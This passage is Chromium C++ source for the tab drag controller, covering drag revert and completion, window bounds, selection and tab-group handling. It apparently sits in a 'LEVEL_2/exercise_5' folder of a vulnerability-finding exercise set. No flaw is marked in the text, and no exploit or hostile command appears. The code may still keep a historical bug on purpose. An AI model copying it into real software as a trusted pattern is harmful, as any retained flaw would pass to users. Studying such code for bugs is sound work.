attached_context_->GetActiveTabWidth(), GetLayoutConstant(TAB_HEIGHT)); } gfx::Point TabDragController::GetAttachedDragPoint( const gfx::Point& point_in_screen) { DCHECK(attached_context_); // The tab must be attached. gfx::Point tab_loc(point_in_screen); views::View::ConvertPointFromScreen(attached_context_->AsView(), &tab_loc); const int x = attached_context_->AsView()->GetMirroredXInView(tab_loc.x()) - mouse_offset_.x(); const int max_x = attached_context_->GetTabDragAreaWidth() - TabStrip::GetSizeNeededForViews(attached_views_); return gfx::Point(base::ClampToRange(x, 0, max_x), 0); } std::vector TabDragController::GetViewsMatchingDraggedContents( TabDragContext* context) { TabStripModel* model = attached_context_->GetTabStripModel(); std::vector views; for (size_t i = first_tab_index(); i < drag_data_.size(); ++i) { int model_index = model->GetIndexOfWebContents(drag_data_[i].contents); if (model_index == TabStripModel::kNoTab) return std::vector(); views.push_back(context->GetTabAt(model_index)); } if (header_drag_) views.insert(views.begin(), context->GetTabGroupHeader(group_.value())); return views; } void TabDragController::EndDragImpl(EndDragType type) { DragState previous_state = current_state_; current_state_ = DragState::kStopped; attached_context_tabs_closed_tracker_.reset(); bring_to_front_timer_.Stop(); move_stacked_timer_.Stop(); if (type != TAB_DESTROYED) { // We only finish up the drag if we were actually dragging. If start_drag_ // is false, the user just clicked and released and didn't move the mouse // enough to trigger a drag. if (previous_state != DragState::kNotStarted) { // After the drag ends, sometimes it shouldn't restore the focus, because // - if |attached_context_| is showing in overview mode, overview mode // may be ended unexpectly because of the window activation. // - Some dragging gesture (like fling down) minimizes the window, but the // window activation cancels minimized status. See // https://crbug.com/902897 if (!IsShowingInOverview(attached_context_) && !attached_context_->AsView()->GetWidget()->IsMinimized()) { RestoreFocus(); } GetAttachedBrowserWidget()->SetCanAppearInExistingFullscreenSpaces(false); if (type == CANCELED) RevertDrag(); else CompleteDrag(); } } else if (drag_data_.size() > 1) { initial_selection_model_.Clear(); if (previous_state != DragState::kNotStarted) RevertDrag(); } // else case the only tab we were dragging was deleted. Nothing to do. // Clear tab dragging info after the complete/revert as CompleteDrag() may // need to use some of the properties. ClearTabDraggingInfo(); // Clear out drag data so we don't attempt to do anything with it. drag_data_.clear(); TabDragContext* owning_context = attached_context_ ? attached_context_ : source_context_; owning_context->DestroyDragController(); } void TabDragController::PerformDeferredAttach() { #if BUILDFLAG(IS_CHROMEOS_ASH) TabDragContext* deferred_target_context = deferred_target_context_observer_->deferred_target_context(); if (!deferred_target_context) return; DCHECK_NE(deferred_target_context, attached_context_); // |is_dragging_new_browser_| needs to be reset here since after this function // is called, the browser window that was specially created for the dragged // tab(s) will be destroyed. is_dragging_new_browser_ = false; // |did_restore_window_| is only set to be true if the dragged window is the // source window and the source window was maximized or fullscreen before the // drag starts. It also needs to be reset to false here otherwise after this // function is called, the newly attached window may be maximized unexpectedly // after the drag ends. did_restore_window_ = false; // GetCursorScreenPoint() needs to be called before Detach() is called as // GetCursorScreenPoint() may use the current attached tabstrip to get the // touch event position but Detach() sets attached tabstrip to nullptr. // On ChromeOS, the gesture state is already cleared and so // GetCursorScreenPoint() will fail to obtain the last touch location. // Therefore it uses the last remembered location instead. const gfx::Point current_screen_point = (event_source_ == EVENT_SOURCE_TOUCH) ? last_point_in_screen_ : GetCursorScreenPoint(); Detach(DONT_RELEASE_CAPTURE); // If we're attaching the dragged tabs to an overview window's tabstrip, the // tabstrip should not have focus. Attach(deferred_target_context, current_screen_point, /*set_capture=*/false); SetDeferredTargetTabstrip(nullptr); deferred_target_context_observer_.reset(); #endif } void TabDragController::RevertDrag() { std::vector views; if (header_drag_) views.push_back(drag_data_[0].attached_view); for (size_t i = first_tab_index(); i < drag_data_.size(); ++i) { if (drag_data_[i].contents) { // Contents is NULL if a tab was destroyed while the drag was under way. views.push_back(drag_data_[i].attached_view); RevertDragAt(i); } } if (attached_context_) { if (did_restore_window_) MaximizeAttachedWindow(); if (attached_context_ == source_context_) { source_context_->StoppedDragging(views, initial_tab_positions_, move_behavior_ == MOVE_VISIBLE_TABS, false); if (header_drag_) source_context_->GetTabStripModel()->MoveTabGroup(group_.value()); } else { attached_context_->DraggedTabsDetached(); } } // If tabs were closed during this drag, the initial selection might include // indices that are out of bounds for the tabstrip now. Reset the selection to // include the stille-existing currently dragged WebContentses. for (int selection : initial_selection_model_.selected_indices()) { if (!source_context_->GetTabStripModel()->ContainsIndex(selection)) { initial_selection_model_.Clear(); break; } } if (initial_selection_model_.empty()) ResetSelection(source_context_->GetTabStripModel()); else source_context_->GetTabStripModel()->SetSelectionFromModel( initial_selection_model_); if (source_context_) source_context_->AsView()->GetWidget()->Activate(); } void TabDragController::ResetSelection(TabStripModel* model) { DCHECK(model); ui::ListSelectionModel selection_model; bool has_one_valid_tab = false; for (size_t i = 0; i < drag_data_.size(); ++i) { // |contents| is NULL if a tab was deleted out from under us. if (drag_data_[i].contents) { int index = model->GetIndexOfWebContents(drag_data_[i].contents); DCHECK_NE(-1, index); selection_model.AddIndexToSelection(index); if (!has_one_valid_tab || i == source_view_index_) { // Reset the active/lead to the first tab. If the source tab is still // valid we'll reset these again later on. selection_model.set_active(index); selection_model.set_anchor(index); has_one_valid_tab = true; } } } if (!has_one_valid_tab) return; model->SetSelectionFromModel(selection_model); } void TabDragController::RestoreInitialSelection() { // First time detaching from the source tabstrip. Reset selection model to // initial_selection_model_. Before resetting though we have to remove all // the tabs from initial_selection_model_ as it was created with the tabs // still there. ui::ListSelectionModel selection_model = initial_selection_model_; for (DragData::const_reverse_iterator i(drag_data_.rbegin()); i != drag_data_.rend(); ++i) { if (i->source_model_index != TabStripModel::kNoTab) selection_model.DecrementFrom(i->source_model_index); } // We may have cleared out the selection model. Only reset it if it // contains something. if (selection_model.empty()) return; // The anchor/active may have been among the tabs that were dragged out. Force // the anchor/active to be valid. if (selection_model.anchor() == ui::ListSelectionModel::kUnselectedIndex) selection_model.set_anchor(*selection_model.selected_indices().begin()); if (selection_model.active() == ui::ListSelectionModel::kUnselectedIndex) selection_model.set_active(*selection_model.selected_indices().begin()); source_context_->GetTabStripModel()->SetSelectionFromModel(selection_model); } void TabDragController::RevertDragAt(size_t drag_index) { DCHECK_NE(current_state_, DragState::kNotStarted); DCHECK(source_context_); base::AutoReset setter(&is_mutating_, true); TabDragData* data = &(drag_data_[drag_index]); int target_index = data->source_model_index; if (attached_context_) { int index = attached_context_->GetTabStripModel()->GetIndexOfWebContents( data->contents); if (attached_context_ != source_context_) { // The Tab was inserted into another TabDragContext. We need to // put it back into the original one. std::unique_ptr detached_web_contents = attached_context_->GetTabStripModel()->DetachWebContentsAt(index); // TODO(beng): (Cleanup) seems like we should use Attach() for this // somehow. source_context_->GetTabStripModel()->InsertWebContentsAt( target_index, std::move(detached_web_contents), (data->pinned ? TabStripModel::ADD_PINNED : 0)); } else { // The Tab was moved within the TabDragContext where the drag // was initiated. Move it back to the starting location. // If the target index is to the right, then other unreverted tabs are // occupying indices between this tab and the target index. Those // unreverted tabs will later be reverted to the right of the target // index, so we skip those indices. if (target_index > index) { for (size_t i = drag_index + 1; i < drag_data_.size(); ++i) { if (drag_data_[i].contents) ++target_index; } } target_index = source_context_->GetTabStripModel()->MoveWebContentsAt( index, target_index, false); } } else { // The Tab was detached from the TabDragContext where the drag // began, and has not been attached to any other TabDragContext. // We need to put it back into the source TabDragContext. source_context_->GetTabStripModel()->InsertWebContentsAt( target_index, std::move(data->owned_contents), (data->pinned ? TabStripModel::ADD_PINNED : 0)); } source_context_->GetTabStripModel()->UpdateGroupForDragRevert( target_index, data->tab_group_data.has_value() ? base::Optional{data->tab_group_data.value() .group_id} : base::nullopt, data->tab_group_data.has_value() ? base::Optional< tab_groups::TabGroupVisualData>{data->tab_group_data.value() .group_visual_data} : base::nullopt); } void TabDragController::CompleteDrag() { DCHECK_NE(current_state_, DragState::kNotStarted); if (attached_context_) { if (is_dragging_new_browser_ || did_restore_window_) { if (IsSnapped(attached_context_)) { was_source_maximized_ = false; was_source_fullscreen_ = false; } // If source window was maximized - maximize the new window as well. if (was_source_maximized_ || was_source_fullscreen_) MaximizeAttachedWindow(); } attached_context_->StoppedDragging( GetViewsMatchingDraggedContents(attached_context_), initial_tab_positions_, move_behavior_ == MOVE_VISIBLE_TABS, true); } else { // Compel the model to construct a new window for the detached // WebContentses. views::Widget* widget = source_context_->AsView()->GetWidget(); gfx::Rect window_bounds(widget->GetRestoredBounds()); window_bounds.set_origin(GetWindowCreatePoint(last_point_in_screen_)); base::AutoReset setter(&is_mutating_, true); std::vector contentses; for (size_t i = 0; i < drag_data_.size(); ++i) { TabStripModelDelegate::NewStripContents item; // We should have owned_contents here, this CHECK is used to gather data // for https://crbug.com/677806. CHECK(drag_data_[i].owned_contents); item.web_contents = std::move(drag_data_[i].owned_contents); item.add_types = drag_data_[i].pinned ? TabStripModel::ADD_PINNED : TabStripModel::ADD_NONE; contentses.push_back(std::move(item)); } Browser* new_browser = source_context_->GetTabStripModel() ->delegate() ->CreateNewStripWithContents(std::move(contentses), window_bounds, widget->IsMaximized()); ResetSelection(new_browser->tab_strip_model()); new_browser->window()->Show(); } if (header_drag_) { // Manually reset the selection to just the active tab in the group. // Otherwise, it's easy to accidentally delete the fully-selected group // by dragging on any of its still-selected members. TabStripModel* model = attached_context_ ? attached_context_->GetTabStripModel() : source_context_->GetTabStripModel(); ui::ListSelectionModel selection; int index = model->GetIndexOfWebContents(drag_data_[1].contents); // The tabs in the group may have been closed during the drag. if (index != TabStripModel::kNoTab) { selection.AddIndexToSelection(index); selection.set_active(index); selection.set_anchor(index); model->SetSelectionFromModel(selection); } } } void TabDragController::MaximizeAttachedWindow() { GetAttachedBrowserWidget()->Maximize(); #if defined(OS_MAC) if (was_source_fullscreen_) GetAttachedBrowserWidget()->SetFullscreen(true); #endif #if BUILDFLAG(IS_CHROMEOS_ASH) if (was_source_fullscreen_) { // In fullscreen mode it is only possible to get here if the source // was in "immersive fullscreen" mode, so toggle it back on. BrowserView* browser_view = BrowserView::GetBrowserViewForNativeWindow( GetAttachedBrowserWidget()->GetNativeWindow()); DCHECK(browser_view); if (!browser_view->IsFullscreen()) chrome::ToggleFullscreenMode(browser_view->browser()); } #endif } void TabDragController::BringWindowUnderPointToFront( const gfx::Point& point_in_screen) { gfx::NativeWindow window; if (GetLocalProcessWindow(point_in_screen, true, &window) == Liveness::DELETED) { return; } // Only bring browser windows to front - only windows with a // TabDragContext can be tab drag targets. if (!CanAttachTo(window)) return; if (window) { views::Widget* widget_window = views::Widget::GetWidgetForNativeWindow(window); if (!widget_window) return; #if BUILDFLAG(IS_CHROMEOS_ASH) // TODO(varkha): The code below ensures that the phantom drag widget // is shown on top of browser windows. The code should be moved to ash/ // and the phantom should be able to assert its top-most state on its own. // One strategy would be for DragWindowController to // be able to observe stacking changes to the phantom drag widget's // siblings in order to keep it on top. One way is to implement a // notification that is sent to a window parent's observers when a // stacking order is changed among the children of that same parent. // Note that OnWindowStackingChanged is sent only to the child that is the // argument of one of the Window::StackChildX calls and not to all its // siblings affected by the stacking change. aura::Window* browser_window = widget_window->GetNativeView(); // Find a topmost non-popup window and stack the recipient browser above // it in order to avoid stacking the browser window on top of the phantom // drag widget created by DragWindowController in a second display. for (aura::Window::Windows::const_reverse_iterator it = browser_window->parent()->children().rbegin(); it != browser_window->parent()->children().rend(); ++it) { // If the iteration reached the recipient browser window then it is // already topmost and it is safe to return with no stacking change. if (*it == browser_window) return; if ((*it)->type() != aura::client::WINDOW_TYPE_POPUP) { widget_window->StackAbove(*it); break; } } #else widget_window->StackAtTop(); #endif // The previous call made the window appear on top of the dragged window, // move the dragged window to the front. if (current_state_ == DragState::kDraggingWindow) attached_context_->AsView()->GetWidget()->StackAtTop(); } } views::Widget* TabDragController::GetAttachedBrowserWidget() { return attached_context_->AsView()->GetWidget(); } bool TabDragController::AreTabsConsecutive() { for (size_t i = 1; i < drag_data_.size(); ++i) { if (drag_data_[i - 1].source_model_index + 1 != drag_data_[i].source_model_index) { return false; } } return true; } gfx::Rect TabDragController::CalculateDraggedBrowserBounds( TabDragContext* source, const gfx::Point& point_in_screen, std::vector* drag_bounds) { gfx::Point center(0, source->AsView()->height() / 2); views::View::ConvertPointToWidget(source->AsView(), ¢er); gfx::Rect new_bounds(source->AsView()->GetWidget()->GetRestoredBounds()); gfx::Rect work_area = display::Screen::GetScreen() ->GetDisplayNearestPoint(last_point_in_screen_) .work_area(); if (new_bounds.size().width() >= work_area.size().width() && new_bounds.size().height() >= work_area.size().height()) { new_bounds = work_area; new_bounds.Inset(kMaximizedWindowInset, kMaximizedWindowInset, kMaximizedWindowInset, kMaximizedWindowInset); // Behave as if the |source| was maximized at the start of a drag since this // is consistent with a browser window creation logic in case of windows // that are as large as the |work_area|. was_source_maximized_ = true; } if (source->AsView()->GetWidget()->IsMaximized()) { // If the restore bounds is really small, we don't want to honor it // (dragging a really small window looks wrong), instead make sure the new // window is at least 50% the size of the old. const gfx::Size max_size( source->AsView()->GetWidget()->GetWindowBoundsInScreen().size()); new_bounds.set_width(std::max(max_size.width() / 2, new_bounds.width())); new_bounds.set_height(std::max(max_size.height() / 2, new_bounds.height())); } #if BUILDFLAG(IS_CHROMEOS_ASH) if (ash::TabletMode::Get()->InTabletMode()) { new_bounds = GetDraggedBrowserBoundsInTabletMode( source->AsView()->GetWidget()->GetNativeWindow()); } #endif new_bounds.set_y(point_in_screen.y() - center.y()); switch (GetDetachPosition(point_in_screen)) { case DETACH_BEFORE: new_bounds.set_x(point_in_screen.x() - center.x()); new_bounds.Offset(-mouse_offset_.x(), 0); break; case DETACH_AFTER: { gfx::Point right_edge(source->AsView()->width(), 0); views::View::ConvertPointToWidget(source->AsView(), &right_edge); new_bounds.set_x(point_in_screen.x() - right_edge.x()); new_bounds.Offset(drag_bounds->back().right() - mouse_offset_.x(), 0); OffsetX(-drag_bounds->front().x(), drag_bounds); break; } default: break; // Nothing to do for DETACH_ABOVE_OR_BELOW. } // Account for the extra space above the tabstrip on restored windows versus // maximized windows. if (source->AsView()->GetWidget()->IsMaximized()) { const auto* frame_view = static_cast( source->AsView()->GetWidget()->non_client_view()->frame_view()); new_bounds.Offset( 0, frame_view->GetTopInset(false) - frame_view->GetTopInset(true)); } return new_bounds; } gfx::Rect TabDragController::CalculateNonMaximizedDraggedBrowserBounds( views::Widget* widget, const gfx::Point& point_in_screen) { gfx::Rect bounds = widget->GetWindowBoundsInScreen(); #if BUILDFLAG(IS_CHROMEOS_ASH) if (ash::TabletMode::Get()->InTabletMode()) bounds = GetDraggedBrowserBoundsInTabletMode(widget->GetNativeWindow()); #endif // The user has to move the mouse some amount of pixels before the drag // starts. Offset the window by this amount so that the relative offset // of the initial location is consistent. See https://crbug.com/518740 bounds.Offset(point_in_screen.x() - start_point_in_screen_.x(), point_in_screen.y() - start_point_in_screen_.y()); return bounds; } void TabDragController::AdjustBrowserAndTabBoundsForDrag( int tab_area_width, const gfx::Point& point_in_screen, gfx::Vector2d* drag_offset, std::vector* drag_bounds) { attached_context_->ForceLayout(); const int dragged_context_width = attached_context_->GetTabDragAreaWidth(); // If the new tabstrip region is smaller than the old, resize the tabs. if (dragged_context_width < tab_area_width) { const float leading_ratio = drag_bounds->front().x() / float{tab_area_width}; *drag_bounds = attached_context_->CalculateBoundsForDraggedViews(attached_views_); if (drag_bounds->back().right() < dragged_context_width) { const int delta_x = std::min( int{(leading_ratio * dragged_context_width)}, dragged_context_width - (drag_bounds->back().right() - drag_bounds->front().x())); OffsetX(delta_x, drag_bounds); } // Reposition the restored window such that the tab that was dragged remains // under the mouse cursor. gfx::Rect tab_bounds = (*drag_bounds)[source_view_index_]; gfx::Point offset( base::ClampRound(tab_bounds.width() * offset_to_width_ratio_) + tab_bounds.x(), 0); views::View::ConvertPointToWidget(attached_context_->AsView(), &offset); gfx::Rect bounds = GetAttachedBrowserWidget()->GetWindowBoundsInScreen(); bounds.set_x(point_in_screen.x() - offset.x()); GetAttachedBrowserWidget()->SetBounds(bounds); *drag_offset = point_in_screen - bounds.origin(); } attached_context_->SetBoundsForDrag(attached_views_, *drag_bounds); } Browser* TabDragController::CreateBrowserForDrag( TabDragContext* source, const gfx::Point& point_in_screen, gfx::Vector2d* drag_offset, std::vector* drag_bounds) { gfx::Rect new_bounds( CalculateDraggedBrowserBounds(source, point_in_screen, drag_bounds)); *drag_offset = point_in_screen - new_bounds.origin(); Browser::CreateParams create_params = BrowserView::GetBrowserViewForNativeWindow( GetAttachedBrowserWidget()->GetNativeWindow()) ->browser() ->create_params(); create_params.user_gesture = true; create_params.in_tab_dragging = true; create_params.initial_bounds = new_bounds; // Do not copy attached window's show state as the attached window might be a // maximized or fullscreen window and we do not want the newly created browser // window is a maximized or fullscreen window since it will prevent window // moving/resizing on Chrome OS. See crbug.com/1023871 for details. create_params.initial_show_state = ui::SHOW_STATE_DEFAULT; // Don't copy the initial workspace since the *current* workspace might be // different and copying the workspace will move the tab to the initial one. create_params.initial_workspace = ""; Browser* browser = Browser::Create(create_params); is_dragging_new_browser_ = true; // If the window is created maximized then the bounds we supplied are ignored. // We need to reset them again so they are honored. browser->window()->SetBounds(new_bounds); return browser; } gfx::Point TabDragController::GetCursorScreenPoint() { #if BUILDFLAG(IS_CHROMEOS_ASH) if (event_source_ == EVENT_SOURCE_TOUCH && aura::Env::GetInstance()->is_touch_down()) { views::Widget* widget = GetAttachedBrowserWidget(); DCHECK(widget); aura::Window* widget_window = widget->GetNativeWindow(); DCHECK(widget_window->GetRootWindow()); gfx::PointF touch_point_f; bool got_touch_point = widget->GetGestureRecognizer()->GetLastTouchPointForTarget( widget_window, &touch_point_f); CHECK(got_touch_point); gfx::Point touch_point = gfx::ToFlooredPoint(touch_point_f); wm::ConvertPointToScreen(widget_window->GetRootWindow(), &touch_point); return touch_point; } #endif return display::Screen::GetScreen()->GetCursorScreenPoint(); } gfx::Vector2d TabDragController::GetWindowOffset( const gfx::Point& point_in_screen) { TabDragContext* owning_context = attached_context_ ? attached_context_ : source_context_; views::View* toplevel_view = owning_context->AsView()->GetWidget()->GetContentsView(); gfx::Point point = point_in_screen; views::View::ConvertPointFromScreen(toplevel_view, &point); return point.OffsetFromOrigin(); } TabDragController::Liveness TabDragController::GetLocalProcessWindow( const gfx::Point& screen_point, bool exclude_dragged_view, gfx::NativeWindow* window) { std::set exclude; if (exclude_dragged_view) { gfx::NativeWindow dragged_window = attached_context_->AsView()->GetWidget()->GetNativeWindow(); if (dragged_window) exclude.insert(dragged_window); } // TODO(crbug.com/1052397): Revisit the macro expression once build flag switch // of lacros-chrome is complete. #if defined(OS_LINUX) || BUILDFLAG(IS_CHROMEOS_LACROS) // Exclude windows which are pending deletion via Browser::TabStripEmpty(). // These windows can be returned in the Linux Aura port because the browser // window which was used for dragging is not hidden once all of its tabs are // attached to another browser window in DragBrowserToNewTabStrip(). // TODO(pkotwicz): Fix this properly (crbug.com/358482) for (auto* browser : *BrowserList::GetInstance()) { if (browser->tab_strip_model()->empty()) exclude.insert(browser->window()->GetNativeWindow()); } #endif base::WeakPtr ref(weak_factory_.GetWeakPtr()); *window = window_finder_->GetLocalProcessWindowAtPoint(screen_point, exclude); return ref ? Liveness::ALIVE : Liveness::DELETED; } void TabDragController::SetTabDraggingInfo() { #if BUILDFLAG(IS_CHROMEOS_ASH) TabDragContext* dragged_context = attached_context_ ? attached_context_ : source_context_; DCHECK(dragged_context->IsDragSessionActive() && current_state_ != DragState::kStopped); aura::Window* dragged_window = GetWindowForTabDraggingProperties(dragged_context); aura::Window* source_window = GetWindowForTabDraggingProperties(source_context_); dragged_window->SetProperty(ash::kIsDraggingTabsKey, true); if (source_window != dragged_window) { dragged_window->SetProperty(ash::kTabDraggingSourceWindowKey, source_window); } #endif } void TabDragController::ClearTabDraggingInfo() { #if BUILDFLAG(IS_CHROMEOS_ASH) TabDragContext* dragged_context = attached_context_ ? attached_context_ : source_context_; DCHECK(!dragged_context->IsDragSessionActive() || current_state_ == DragState::kStopped); // Do not clear the dragging info properties for a to-be-destroyed window. // They will be cleared later in Window's destructor. It's intentional as // ash::SplitViewController::TabDraggedWindowObserver listens to both // OnWindowDestroying() event and the window properties change event, and uses // the two events to decide what to do next. if (dragged_context->GetTabStripModel()->empty()) return; aura::Window* dragged_window = GetWindowForTabDraggingProperties(dragged_context); dragged_window->ClearProperty(ash::kIsDraggingTabsKey); dragged_window->ClearProperty(ash::kTabDraggingSourceWindowKey); #endif } void TabDragController::UpdateGroupForDraggedTabs() { TabStripModel* attached_model = attached_context_->GetTabStripModel(); const ui::ListSelectionModel::SelectedIndices& selected = attached_model->selection_model().selected_indices(); // Pinned tabs cannot be grouped, so we only change the group membership of // unpinned tabs. std::vector selected_unpinned; for (const int& selected_index : selected) { if (!attached_model->IsTabPinned(selected_index)) selected_unpinned.push_back(selected_index); } if (selected_unpinned.empty()) return; const base::Optional updated_group = GetTabGroupForTargetIndex(selected_unpinned); if (updated_group == attached_model->GetTabGroupForTab(selected_unpinned[0])) return; attached_model->MoveTabsAndSetGroup(selected_unpinned, selected_unpinned[0], updated_group); } base::Optional TabDragController::GetTabGroupForTargetIndex(const std::vector& selected) { // Indices in {selected} are always ordered in ascending order and should all // be consecutive. DCHECK_EQ(selected.back() - selected.front() + 1, int{selected.size()}); const TabStripModel* attached_model = attached_context_->GetTabStripModel(); const int left_tab_index = selected.front() - 1; const base::Optional left_group = attached_model->GetTabGroupForTab(left_tab_index); const base::Optional right_group = attached_model->GetTabGroupForTab(selected.back() + 1); const base::Optional current_group = attached_model->GetTabGroupForTab(selected[0]); if (left_group == right_group) return left_group; // If the tabs on the left and right have different group memberships, // including if one is ungrouped or nonexistent, change the group of the // dragged tab based on whether it is "leaning" toward the left or the // right of the gap. If the tab is centered in the gap, make the tab // ungrouped. const Tab* left_most_selected_tab = attached_context_->GetTabAt(selected.front()); const int buffer = left_most_selected_tab->width() / 4; // The tab's bounds are larger than what visually appears in order to include // space for the rounded feet. Adding {tab_left_inset} to the horiztonal // bounds of the tab results in the x position that would be drawn when there // are no feet showing. const int tab_left_inset = TabStyle::GetTabOverlap() / 2; // Use the left edge for a reliable fallback, e.g. if this is the leftmost // tab or there is a group header to the immediate left. int left_edge = attached_model->ContainsIndex(left_tab_index) ? attached_context_->GetTabAt(left_tab_index)->bounds().right() - tab_left_inset : tab_left_inset; // Extra polish: Prefer staying in an existing group, if any. This prevents // tabs at the edge of the group from flickering between grouped and // ungrouped. It also gives groups a slightly "sticky" feel while dragging. if (left_group.has_value() && left_group == current_group) left_edge += buffer; if (right_group.has_value() && right_group == current_group && left_edge > tab_left_inset) { left_edge -= buffer; } int left_most_selected_x_position = left_most_selected_tab->x() + tab_left_inset; if ((left_most_selected_x_position <= left_edge - buffer) && left_group.has_value() && !attached_model->IsGroupCollapsed(left_group.value())) { return left_group; } if ((left_most_selected_x_position >= left_edge + buffer) && right_group.has_value() && !attached_model->IsGroupCollapsed(right_group.value())) { return right_group; } return base::nullopt; } bool TabDragController::CanAttachTo(gfx::NativeWindow window) { if (!window) return false; BrowserView* other_browser_view = BrowserView::GetBrowserViewForNativeWindow(window); if (!other_browser_view) return false; Browser* other_browser = other_browser_view->browser(); // Do not allow dragging into a window with a modal dialog, it causes a // weird behavior. See crbug.com/336691 #if defined(USE_AURA) if (wm::GetModalTransient(window)) return false; #else TabStripModel* model = other_browser->tab_strip_model(); DCHECK(model); if (model->IsTabBlocked(model->active_index())) return false; #endif // We don't allow drops on windows that don't have tabstrips. if (!other_browser->SupportsWindowFeature(Browser::FEATURE_TABSTRIP)) return false; Browser* browser = BrowserView::GetBrowserViewForNativeWindow( GetAttachedBrowserWidget()->GetNativeWindow()) ->browser(); // Profiles must be the same. if (other_browser->profile() != browser->profile()) return false; // Ensure that browser types and app names are the same. if (other_browser->type() != browser->type() || (browser->is_type_app() && browser->app_name() != other_browser->app_name())) { return false; } return true; } void TabDragController::SetDeferredTargetTabstrip( TabDragContext* deferred_target_context) { #if BUILDFLAG(IS_CHROMEOS_ASH) if (!deferred_target_context_observer_) { deferred_target_context_observer_ = std::make_unique(); } deferred_target_context_observer_->SetDeferredTargetTabstrip( deferred_target_context); #endif } ================================================ FILE: LEVEL_2/exercise_5/tab_drag_controller.h ================================================ // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_UI_VIEWS_TABS_TAB_DRAG_CONTROLLER_H_ #define CHROME_BROWSER_UI_VIEWS_TABS_TAB_DRAG_CONTROLLER_H_ #include #include #include #include "base/memory/weak_ptr.h" #include "base/scoped_observation.h" #include "base/timer/timer.h" #include "build/chromeos_buildflags.h" #include "chrome/browser/ui/tabs/tab_strip_model_observer.h" #include "chrome/browser/ui/views/tabs/tab_drag_context.h" #include "chrome/browser/ui/views/tabs/tab_strip_types.h" #include "components/tab_groups/tab_group_visual_data.h" #include "ui/base/models/list_selection_model.h" #include "ui/gfx/geometry/rect.h" #include "ui/gfx/native_widget_types.h" #include "ui/views/widget/widget.h" #include "ui/views/widget/widget_observer.h" namespace ui { class ListSelectionModel; } namespace views { class View; class ViewTracker; } class Browser; class KeyEventTracker; class Tab; class TabDragControllerTest; class TabDragContext; class TabSlotView; class TabStripModel; class WindowFinder; // TabDragController is responsible for managing the tab dragging session. When // the user presses the mouse on a tab a new TabDragController is created and // Drag() is invoked as the mouse is dragged. If the mouse is dragged far enough // TabDragController starts a drag session. The drag session is completed when // EndDrag() is invoked (or the TabDragController is destroyed). // // While dragging within a tab strip TabDragController sets the bounds of the // tabs (this is referred to as attached). When the user drags far enough such // that the tabs should be moved out of the tab strip a new Browser is created // and RunMoveLoop() is invoked on the Widget to drag the browser around. This // is the default on aura. class TabDragController : public views::WidgetObserver { public: // What should happen as the mouse is dragged within the tabstrip. enum MoveBehavior { // Only the set of visible tabs should change. This is only applicable when // using touch layout. MOVE_VISIBLE_TABS, // Typical behavior where tabs are dragged around. REORDER }; // Indicates the event source that initiated the drag. enum EventSource { EVENT_SOURCE_MOUSE, EVENT_SOURCE_TOUCH, }; // Amount above or below the tabstrip the user has to drag before detaching. static const int kTouchVerticalDetachMagnetism; static const int kVerticalDetachMagnetism; TabDragController(); TabDragController(const TabDragController&) = delete; TabDragController& operator=(const TabDragController&) = delete; ~TabDragController() override; // Initializes TabDragController to drag the views in |dragging_views| // originating from |source_context|. |source_view| is the view that // initiated the drag and is either a Tab or a TabGroupHeader contained in // |dragging_views|. |mouse_offset| is the distance of the mouse pointer from // the origin of the first view in |dragging_views| and |source_view_offset| // the offset from |source_view|. |source_view_offset| is the horizontal // offset of |mouse_offset| relative to |source_view|. // |initial_selection_model| is the selection model before the drag started // and is only non-empty if the original selection isn't the same as the // dragging set. void Init(TabDragContext* source_context, TabSlotView* source_view, const std::vector& dragging_views, const gfx::Point& mouse_offset, int source_view_offset, ui::ListSelectionModel initial_selection_model, MoveBehavior move_behavior, EventSource event_source); // Returns true if there is a drag underway and the drag is attached to // |tab_strip|. // NOTE: this returns false if the TabDragController is in the process of // finishing the drag. static bool IsAttachedTo(const TabDragContext* tab_strip); // Returns true if there is a drag underway. static bool IsActive(); // Returns the pointer of |source_context_|. static TabDragContext* GetSourceContext(); // Sets the move behavior. Has no effect if started_drag() is true. void SetMoveBehavior(MoveBehavior behavior); EventSource event_source() const { return event_source_; } // See description above fields for details on these. bool active() const { return current_state_ != DragState::kStopped; } const TabDragContext* attached_context() const { return attached_context_; } // Returns true if a drag started. bool started_drag() const { return current_state_ != DragState::kNotStarted; } // Returns true if mutating the TabStripModel. bool is_mutating() const { return is_mutating_; } // Returns true if we've detached from a tabstrip and are running a nested // move message loop. bool is_dragging_window() const { return current_state_ == DragState::kDraggingWindow; } // Returns the tab group being dragged, if any. Will only return a value if // the user is dragging a tab group header, not an individual tab or tabs from // a group. const base::Optional& group() const { return group_; } // Returns true if currently dragging a tab with |contents|. bool IsDraggingTab(content::WebContents* contents); // Invoked to drag to the new location, in screen coordinates. void Drag(const gfx::Point& point_in_screen); // Complete the current drag session. void EndDrag(EndDragReason reason); private: friend class TabDragControllerTest; #if BUILDFLAG(IS_CHROMEOS_ASH) class DeferredTargetTabstripObserver; #endif class SourceTabStripEmptinessTracker; class DraggedTabsClosedTracker; // Used to indicate the direction the mouse has moved when attached. static const int kMovedMouseLeft = 1 << 0; static const int kMovedMouseRight = 1 << 1; enum class DragState { // The drag has not yet started; the user has not dragged far enough to // begin a session. kNotStarted, // The session is dragging a set of tabs within |attached_context_|. kDraggingTabs, // The session is dragging a window; |attached_context_| is that window's // tabstrip. kDraggingWindow, // The session is waiting for the nested move loop to exit to transition // to kDraggingTabs. Not used on all platforms. kWaitingToDragTabs, // The session is waiting for the nested move loop to exit to end the drag. kWaitingToStop, // The drag session has completed or been canceled. kStopped }; enum class Liveness { ALIVE, DELETED, }; // Enumeration of the ways a drag session can end. enum EndDragType { // Drag session exited normally: the user released the mouse. NORMAL, // The drag session was canceled (alt-tab during drag, escape ...) CANCELED, // The tab (NavigationController) was destroyed during the drag. TAB_DESTROYED }; // Whether Detach() should release capture or not. enum ReleaseCapture { RELEASE_CAPTURE, DONT_RELEASE_CAPTURE, }; // Enumeration of the possible positions the detached tab may detach from. enum DetachPosition { DETACH_BEFORE, DETACH_AFTER, DETACH_ABOVE_OR_BELOW }; // Specifies what should happen when a drag motion exits the tab strip region // in an attempt to detach a tab. enum DetachBehavior { DETACHABLE, NOT_DETACHABLE }; // Indicates what should happen after invoking DragBrowserToNewTabStrip(). enum DragBrowserResultType { // The caller should return immediately. This return value is used if a // nested run loop was created or we're in a nested run loop and // need to exit it. DRAG_BROWSER_RESULT_STOP, // The caller should continue. DRAG_BROWSER_RESULT_CONTINUE, }; // Stores the date associated with a single tab that is being 